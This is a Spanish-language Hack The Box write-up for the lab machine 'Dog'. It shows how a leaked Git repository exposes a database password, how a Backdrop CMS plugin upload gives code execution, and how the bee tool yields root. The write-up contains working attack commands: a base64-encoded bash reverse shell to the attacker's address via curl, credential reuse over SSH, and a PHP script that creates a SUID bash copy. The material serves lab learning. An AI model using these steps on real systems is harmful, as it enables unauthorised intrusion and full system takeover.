Descripción

Dog es una máquina fácil de Hack The Box que cuenta con las siguientes vulnerabilidades:

  • Repositorio Git que expone las credenciales de la base de datos y de un usuario
  • Vulnerabilidad de ejecución remota de comandos del CMS Backdrop a través de un plugin
  • Pivote de usuario utilizando una credencial anterior
  • Elevación de privilegios mediante la herramienta de Backdrop Bee y su funcionalidad “php-script”

Reconocimiento

Primero, vamos a comprobar con el comando ping si la máquina está activa y su sistema operativo. La dirección IP de la máquina de destino es 10.129.219.144.

$ ping -c 3 10.129.219.144
PING 10.129.219.144 (10.129.219.144) 56(84) bytes of data.
64 bytes from 10.129.219.144: icmp_seq=1 ttl=63 time=112 ms
64 bytes from 10.129.219.144: icmp_seq=2 ttl=63 time=209 ms
64 bytes from 10.129.219.144: icmp_seq=3 ttl=63 time=112 ms

--- 10.129.219.144 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2002ms
rtt min/avg/max/mdev = 111.500/144.206/209.278/46.012 ms

La máquina está activa y con el TTL que equivale a 63 (64 menos 1 salto) podemos asegurar que es una máquina de Unix. Ahora vamos a hacer un escaneo de puertos de Nmap TCP SYN para comprobar todos los puertos abiertos.

$ sudo nmap 10.129.219.144 -sS -oN nmap_scan
Starting Nmap 7.94SVN ( https://nmap.org )
Nmap scan report for 10.129.219.144
Host is up (0.14s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 1.99 seconds

Obtenemos dos puertos abiertos, 22 y 80.️

Enumeración

Luego realizamos un escaneo más avanzado, con la versión de los servicios y scripts.️

$ nmap 10.129.219.144 -Pn -sV -sC -p22,80 -oN nmap_scan_ports
Starting Nmap 7.94SVN ( https://nmap.org )
Nmap scan report for 10.129.219.144
Host is up (0.11s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 97:2a:d2:2c:89:8a:d3:ed:4d:ac:00:d2:1e:87:49:a7 (RSA)
|   256 27:7c:3c:eb:0f:26:e9:62:59:0f:0f:b1:38:c9:ae:2b (ECDSA)
|_  256 93:88:47:4c:69:af:72:16:09:4c:ba:77:1e:3b:3b:eb (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-generator: Backdrop CMS 1 (https://Backdropcms.org)
| http-git: 
|   10.129.219.144:80/.git/
|     Git repository found!
|     Repository description: Unnamed repository; edit this file 'description' to name the...
|_    Last commit message: todo: customize url aliases.  reference:https://docs.backdro...
| http-robots.txt: 22 disallowed entries (15 shown)
| /core/ /profiles/ /README.md /web.config /admin 
| /comment/reply /filter/tips /node/add /search /user/register 
|_/user/password /user/login /user/logout /?q=admin /?q=comment/reply
|_http-title: Home | Dog
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.72 seconds

Obtenemos el servicio SSH y el servicio HTTP. Encontramos que un repositorio Git está presente en el servidor web. Vamos a descargarlo.️

$ virtualenv .env
$ . .env/bin/activate
$ pip install git-dumper
$ git-dumper http://10.129.219.144:80/.git/ dog_repository

Al entrar en la carpeta dog_repository, encontramos que las credenciales del motor de base de datos MySQL se encuentran en el archivo settings.php.️

$ cd dog_repository
$ head -n 20 settings.php
<?php
/**
 * @file
 * Main Backdrop CMS configuration file.
 */

/**
 * Database configuration:
 *
 * Most sites can configure their database by entering the connection string
 * below. If using primary/replica databases or multiple connections, see the
 * advanced database documentation at
 * https://api.Backdropcms.org/database-configuration
 */
$database = 'mysql://root:BackdropJ2024DS2024@127.0.0.1/Backdrop';
$database_prefix = '';

/**
 * Site configuration files location.
 *

Para el usuario root de MySQL encontramos la contraseña BackdropJ2024DS2024 para la base de datos backdrop. Al visitar la página web encontramos una instancia de CMS Backdrop, una alternativa a Drupal.️ Tenemos la capacidad de iniciar sesión pero el usuario administrador y la contraseña del motor de base de datos MySQL no funcionan. Al regresar al código fuente, encontramos una copia de la configuración en el directorio files/config_83dddd18e1ec67fd8ff5bba2453c7fb3.️

$ cd files/config_83dddd18e1ec67fd8ff5bba2453c7fb3

Al buscar direcciones de correo electrónico expuestas encontramos una, tiffany@dog.htb en el archivo active/update.settings.json.️

$ grep -rn "@" .   
./active/update.settings.json:12:        "tiffany@dog.htb"

Podemos iniciar sesión en el panel de administración con el usuario tiffany y la contraseña BackdropJ2024DS2024.️

Explotación

Backdrop es vulnerable a la ejecución de comandos remotos mediante la subida de un plugin malicioso. Podemos generar el paquete utilizando el script encontrado en Exploit-DB. Debido a los requisitos de la instancia, necesitamos empaquetar el archivo .zip a uno .tar ya que el servidor no tiene activado la extensión ZIP.️

$ searchsploit -m 52021
$ python 52021.py http://10.129.219.144/                                                                                   
Backdrop CMS 1.27.1 - Remote Command Execution Exploit
Evil module generating...
Evil module generated! shell.zip
Go to http://10.129.219.144//admin/modules/install and upload the shell.zip for Manual Installation.
Your shell address: http://10.129.219.144//modules/shell/shell.php

$ tar cvf shell.tar shell

Nos movemos a la página http://10.129.219.144/?q=admin/modules/install para instalar el plugin haciendo clic en el botón Manual installation.️ Luego seleccionamos la opción Upload a module, theme, or layout archive to install. Finalmente damos clic en el botón INSTALL y la terminal web se subirá al archivo http://10.129.219.144//modules/shell/shell.php. Ahora podemos simplemente activar la vulnerabilidad utilizando cURL. Primero debemos abrir un puerto escuchando por la terminal inversa.️

$ nc -nvlp 1234
$ curl 'http://10.129.219.144/modules/shell/shell.php?cmd=echo+YmFzaCAtaSA%2BJiAvZGV2L3RjcC8xMC4xMC4xNC40NS8xMjM0IDA%2BJjE%3D+%7C+base64+-d+%7C+bash'

Obtenemos la terminal inversa como usuario www-data.️

$ nc -nvlp 1234
listening on [any] 1234 ...
connect to [10.10.14.45] from (UNKNOWN) [10.129.219.144] 35152
bash: cannot set terminal process group (1005): Inappropriate ioctl for device
bash: no job control in this shell
www-data@dog:/var/www/html/modules/shell$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Post-Explotación

En el sistema encontramos root, jobert y johncusack como usuarios de consola.️

www-data@dog:/var/www/html/modules/shell$ grep bash /etc/passwd
grep bash /etc/passwd
root:x:0:0:root:/root:/bin/bash
jobert:x:1000:1000:jobert:/home/jobert:/bin/bash
johncusack:x:1001:1001:,,,:/home/johncusack:/bin/bash

Encontramos que podemos iniciar sesión utilizando SSH con la contraseña BackdropJ2024DS2024 y el usuario johncusack.️

$ ssh johncusack@10.129.219.144

Encontramos que johncusack puede ejecutar un solo comando como usuario root, bee, que es la herramienta de administración para Backdrop.️

johncusack@dog:~$ sudo -l
Matching Defaults entries for johncusack on dog:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User johncusack may run the following commands on dog:
    (ALL : ALL) /usr/local/bin/bee

La herramienta tiene opciones para ejecutar comandos como eval o php-script.️

johncusack@dog:~$ /usr/local/bin/bee -h
🐝 Bee
Usage: bee [global-options] <command> [options] [arguments]

Global Options:
 --root
 Specify the root directory of the Backdrop installation to use. If not set, will try to find the Backdrop installation automatically based on the current directory.
...

Commands:
...
 ADVANCED
  db-query
   dbq
   Execute a query using db_query().

  eval
   ev, php-eval
   Evaluate (run/execute) arbitrary PHP code after bootstrapping Backdrop.

  php-script
   scr
   Execute an arbitrary PHP file after bootstrapping Backdrop.

  sql
   sqlc, sql-cli, db-cli
   Open an SQL command-line interface using Backdrop's database credentials.

Vamos a crear un archivo malicioso PHP que creará un archivo SUID Bash root en el archivo /tmp/run.php con el siguiente contenido y la opción php-script.

<?php
system("cp /bin/bash /tmp/suid-bash; chmod u+s /tmp/suid-bash");
?>

Luego activamos el comando y podremos obtener una terminal como el usuario root. Necesitamos especificar el parámetro --root con la raíz del servidor web.️

johncusack@dog:~$ sudo bee --root=/var/www/html/ php-script /tmp/run.php
johncusack@dog:~$ /tmp/suid-bash -p
suid-bash-5.0# whoami
root

Flags

En el terminal de root podemos recuperar las flags de usuario y root.️

suid-bash-5.0# cat /home/johncusack/user.txt 
<REDACTED>
suid-bash-5.0# cat /root/root.txt 
<REDACTED>